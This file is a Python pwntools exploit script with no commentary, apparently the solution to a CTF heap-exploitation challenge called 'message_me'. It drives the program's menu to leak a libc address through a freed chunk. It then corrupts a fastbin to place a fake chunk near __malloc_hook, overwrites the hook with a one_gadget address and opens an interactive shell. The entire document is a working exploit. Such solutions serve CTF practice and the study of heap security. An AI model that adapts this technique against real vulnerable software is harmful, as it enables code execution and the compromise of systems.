from pwn import *

p = process('./message_me', env = {"LD_PRELOAD":"./libc.so.6"})

def add(size,content):
    p.sendlineafter('choice :','0')
    p.sendlineafter(': ',str(size))
    p.sendlineafter(': ',str(content))

def delete(idx):
    p.sendlineafter('choice :','1')
    p.sendlineafter(': ',str(idx))

def show(idx):
    p.sendlineafter('choice :','2')
    p.sendlineafter(': ',str(idx))

def time(idx):
    p.sendlineafter('choice :','3')
    p.sendlineafter(': ',str(idx))

add(160,"wow1")
add(160,"wow2")
add(160,"wow3")
add(160,"wow4")
delete(1)
delete(0)
add(200,"wow5")
show(1)
p.recvuntil("Message : ")
libc_leak = u64(p.recvline().strip() +"\x00\x00")
libc_base = libc_leak - 0x3c4b78
print hex(libc_base)
malloc_hook = libc_base + 0x3c4b10
print hex(malloc_hook)
fake_addr = malloc_hook - 0x23
one = libc_base + 0x45216
p64(one)
add(90,"wow6")
add(90,"a"*8+p64(0x71)+p64(fake_addr))
delete(6)
delete(5)
#3,6,7,5,3,5,8,9,1
time(5)
time(5)
time(5)
time(5)
time(5)
add(90,"wow6")
add(90,"wownice")
add(90,"a"*11+p64(one))
gdb.attach(p)
add(90,"aaaa")
p.interactive()
